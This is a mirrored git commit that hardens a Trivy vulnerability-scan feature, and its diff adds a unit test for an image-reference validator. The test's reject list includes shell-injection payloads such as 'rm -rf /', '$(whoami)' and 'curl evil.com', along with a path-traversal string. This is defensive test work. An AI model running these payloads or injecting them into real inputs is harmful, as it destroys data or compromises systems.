mirror of
https://github.com/Studio-Saelix/sencho.git
synced 2026-08-25 09:46:47 +00:00
fix(security): harden Trivy scan lifecycle, logging, and docs (#639)
* fix(security): harden Trivy scan lifecycle, logging, and docs - Call TrivyService.initialize() at startup so capability state is accurate before first request; add periodic re-detect to the scheduler so newly installed Trivy binaries light up without a restart. - Add markStaleScansAsFailed sweep (+ idx_vuln_scans_status index) to recover any scan row left in_progress after a crash or timeout; sweep runs before the paid-tier gate so every tier self-heals. - Split scanImage persistence into beginScan/finishScan so the manual scan route owns a single code path and can return a scanId synchronously while work continues asynchronously. - Validate image refs on /api/security/scan and /sbom via new utility; defense-in-depth against shell-metacharacter payloads. - Dispatch a warning-level alert when a post-deploy scan fails so the operator has a user-visible path to the failure instead of a silent log. - Share DIGEST_CACHE_TTL_MS and severity ordering across service and route layers; remove dead invalidateDetection(). - Add [Trivy:diag] logging gated behind developer_mode for support diagnostics; production logs unchanged. - Frontend: defensive toast fallback chain, sr-only SheetDescription, and a truncation badge when the 500-item detail fetch is capped. - Tests: extend trivy-service and vulnerability-db suites; add image-ref and severity unit tests. - Docs: expand vulnerability-scanning troubleshooting with recovery, re-detect, and diagnostic-log guidance; link Dockerfile comment to trivy-setup. * fix(security): drop unnecessary escape in image-ref forbidden-char regex
This commit is contained in:
@@ -0,0 +1,66 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { validateImageRef } from '../utils/image-ref';
|
||||
|
||||
describe('validateImageRef', () => {
|
||||
it('accepts canonical image references', () => {
|
||||
const valid = [
|
||||
'alpine',
|
||||
'alpine:3.19',
|
||||
'nginx:latest',
|
||||
'library/postgres:16',
|
||||
'ghcr.io/owner/project:v1.2.3',
|
||||
'registry.example.com:5000/team/image:tag',
|
||||
'docker.io/library/redis@sha256:abcdef1234567890',
|
||||
'node:20-alpine',
|
||||
'my-image_v2.final',
|
||||
];
|
||||
for (const ref of valid) {
|
||||
expect(validateImageRef(ref), `expected ${ref} to be valid`).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it('rejects shell-injection payloads', () => {
|
||||
const invalid = [
|
||||
'; rm -rf /',
|
||||
'$(whoami)',
|
||||
'`id`',
|
||||
'alpine && curl evil.com',
|
||||
'image | tee file',
|
||||
'image; ls',
|
||||
'image$VAR',
|
||||
'image`cmd`',
|
||||
'image\nother',
|
||||
'image"name"',
|
||||
"image'name'",
|
||||
];
|
||||
for (const ref of invalid) {
|
||||
expect(validateImageRef(ref), `expected ${ref} to be invalid`).toBe(false);
|
||||
}
|
||||
});
|
||||
|
||||
it('rejects empty and whitespace-only strings', () => {
|
||||
expect(validateImageRef('')).toBe(false);
|
||||
expect(validateImageRef(' ')).toBe(false);
|
||||
expect(validateImageRef('\t\n')).toBe(false);
|
||||
});
|
||||
|
||||
it('rejects non-string inputs', () => {
|
||||
expect(validateImageRef(null)).toBe(false);
|
||||
expect(validateImageRef(undefined)).toBe(false);
|
||||
expect(validateImageRef(42)).toBe(false);
|
||||
expect(validateImageRef({})).toBe(false);
|
||||
expect(validateImageRef([])).toBe(false);
|
||||
});
|
||||
|
||||
it('rejects path traversal attempts', () => {
|
||||
expect(validateImageRef('../../etc/passwd')).toBe(false);
|
||||
expect(validateImageRef('image..name')).toBe(false);
|
||||
});
|
||||
|
||||
it('rejects references exceeding 255 characters', () => {
|
||||
const longRef = 'a'.repeat(256);
|
||||
expect(validateImageRef(longRef)).toBe(false);
|
||||
const atLimit = 'a'.repeat(255);
|
||||
expect(validateImageRef(atLimit)).toBe(true);
|
||||
});
|
||||
});
|
||||
Reference in New Issue
Block a user